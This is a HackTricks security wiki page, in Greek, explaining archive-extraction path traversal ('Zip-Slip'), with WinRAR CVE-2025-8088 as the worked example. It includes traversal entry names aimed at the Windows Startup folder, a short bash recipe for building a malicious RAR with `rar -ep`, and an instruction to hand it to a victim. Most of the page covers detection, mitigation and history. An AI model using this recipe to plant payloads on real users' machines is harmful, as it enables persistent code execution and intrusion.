hacktricks/src/generic-hacking/archive-extraction-path-traversal.md

69 lines
7.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Archive Extraction Path Traversal ("Zip-Slip" / WinRAR CVE-2025-8088)
{{#include ../banners/hacktricks-training.md}}
## Overview
Πολλές μορφές αρχείων (ZIP, RAR, TAR, 7-ZIP, κ.λπ.) επιτρέπουν σε κάθε εγγραφή να φέρει το δικό της **εσωτερικό μονοπάτι**. Όταν ένα εργαλείο εξαγωγής τιμά τυφλά αυτό το μονοπάτι, ένα κατασκευασμένο όνομα αρχείου που περιέχει `..` ή ένα **απόλυτο μονοπάτι** (π.χ. `C:\Windows\System32\`) θα γραφτεί εκτός του επιλεγμένου καταλόγου από τον χρήστη. Αυτή η κατηγορία ευπάθειας είναι ευρέως γνωστή ως *Zip-Slip* ή **archive extraction path traversal**.
Οι συνέπειες κυμαίνονται από την επαναγραφή αυθαίρετων αρχείων έως την άμεση επίτευξη **remote code execution (RCE)** ρίχνοντας ένα payload σε μια **auto-run** τοποθεσία όπως ο φάκελος *Startup* των Windows.
## Root Cause
1. Ο επιτιθέμενος δημιουργεί ένα αρχείο όπου μία ή περισσότερες κεφαλίδες αρχείων περιέχουν:
* Σειρές σχετικής διαδρομής (`..\..\..\Users\\victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe`)
* Απόλυτα μονοπάτια (`C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\payload.exe`)
2. Το θύμα εξάγει το αρχείο με ένα ευάλωτο εργαλείο που εμπιστεύεται το ενσωματωμένο μονοπάτι αντί να το καθαρίζει ή να αναγκάζει την εξαγωγή κάτω από τον επιλεγμένο κατάλογο.
3. Το αρχείο γράφεται στην τοποθεσία που ελέγχεται από τον επιτιθέμενο και εκτελείται/φορτώνεται την επόμενη φορά που το σύστημα ή ο χρήστης ενεργοποιεί αυτό το μονοπάτι.
## Real-World Example WinRAR ≤ 7.12 (CVE-2025-8088)
WinRAR για Windows (συμπεριλαμβανομένων των `rar` / `unrar` CLI, της DLL και της φορητής πηγής) απέτυχε να επικυρώσει τα ονόματα αρχείων κατά την εξαγωγή. Ένα κακόβουλο αρχείο RAR που περιέχει μια εγγραφή όπως:
```text
..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe
```
θα κατέληγε **έξω** από τον επιλεγμένο φάκελο εξόδου και μέσα στον *Φάκελο Εκκίνησης* του χρήστη. Μετά την είσοδο, τα Windows εκτελούν αυτόματα όλα όσα υπάρχουν εκεί, παρέχοντας *μόνιμο* RCE.
### Δημιουργία ενός PoC Αρχείου (Linux/Mac)
```bash
# Requires rar >= 6.x
mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
rar a -ep evil.rar evil/*
```
Options used:
* `-ep` αποθήκευση διαδρομών αρχείων ακριβώς όπως δίνονται (μην αφαιρείτε το `./`).
Παραδώστε το `evil.rar` στο θύμα και δώστε τους οδηγίες να το εξάγουν με μια ευάλωτη έκδοση του WinRAR.
### Παρατηρούμενη Εκμετάλλευση στην Πραγματικότητα
Η ESET ανέφερε καμπάνιες spear-phishing RomCom (Storm-0978/UNC2596) που επισύναψαν αρχεία RAR εκμεταλλευόμενα το CVE-2025-8088 για να αναπτύξουν προσαρμοσμένα backdoors και να διευκολύνουν τις επιχειρήσεις ransomware.
## Συμβουλές Ανίχνευσης
* **Στατική επιθεώρηση** Καταγράψτε τις καταχωρίσεις του αρχείου και σημειώστε οποιοδήποτε όνομα περιέχει `../`, `..\\`, *απόλυτες διαδρομές* (`C:`) ή μη κανονικοποιημένες κωδικοποιήσεις UTF-8/UTF-16.
* **Εξαγωγή σε sandbox** Αποσυμπιέστε σε έναν αναλώσιμο φάκελο χρησιμοποιώντας έναν *ασφαλή* extractor (π.χ., Pythons `patool`, 7-Zip ≥ τελευταίας έκδοσης, `bsdtar`) και επαληθεύστε ότι οι προκύπτουσες διαδρομές παραμένουν μέσα στον φάκελο.
* **Παρακολούθηση τερματικών** Ειδοποιήστε για νέα εκτελέσιμα που γράφονται σε τοποθεσίες `Startup`/`Run` λίγο μετά το άνοιγμα ενός αρχείου από το WinRAR/7-Zip/κ.λπ.
## Μετριασμός & Σκληραγώγηση
1. **Ενημερώστε τον extractor** Το WinRAR 7.13 εφαρμόζει σωστή απολύμανση διαδρομών. Οι χρήστες πρέπει να το κατεβάσουν χειροκίνητα γιατί το WinRAR δεν διαθέτει μηχανισμό αυτόματης ενημέρωσης.
2. Εξάγετε αρχεία με την επιλογή **“Αγνόησε διαδρομές”** (WinRAR: *Εξαγωγή → "Μη εξαγωγή διαδρομών"*) όταν είναι δυνατόν.
3. Ανοίξτε μη αξιόπιστα αρχεία **μέσα σε sandbox** ή VM.
4. Εφαρμόστε λευκή λίστα εφαρμογών και περιορίστε την πρόσβαση εγγραφής χρηστών σε καταλόγους αυτόματης εκκίνησης.
## Πρόσθετες Επηρεαζόμενες / Ιστορικές Περιπτώσεις
* 2018 Μαζική *Zip-Slip* προειδοποίηση από την Snyk που επηρεάζει πολλές βιβλιοθήκες Java/Go/JS.
* 2023 7-Zip CVE-2023-4011 παρόμοια διαδρομή κατά τη διάρκεια συγχώνευσης `-ao`.
* Οποιαδήποτε προσαρμοσμένη λογική εξαγωγής που αποτυγχάνει να καλέσει `PathCanonicalize` / `realpath` πριν από την εγγραφή.
## Αναφορές
- [BleepingComputer WinRAR zero-day exploited to plant malware on archive extraction](https://www.bleepingcomputer.com/news/security/winrar-zero-day-flaw-exploited-by-romcom-hackers-in-phishing-attacks/)
- [WinRAR 7.13 Changelog](https://www.win-rar.com/singlenewsview.html?&L=0&tx_ttnews%5Btt_news%5D=283&cHash=a64b4a8f662d3639dec8d65f47bc93c5)
- [Snyk Zip Slip vulnerability write-up](https://snyk.io/research/zip-slip-vulnerability)
{{#include ../banners/hacktricks-training.md}}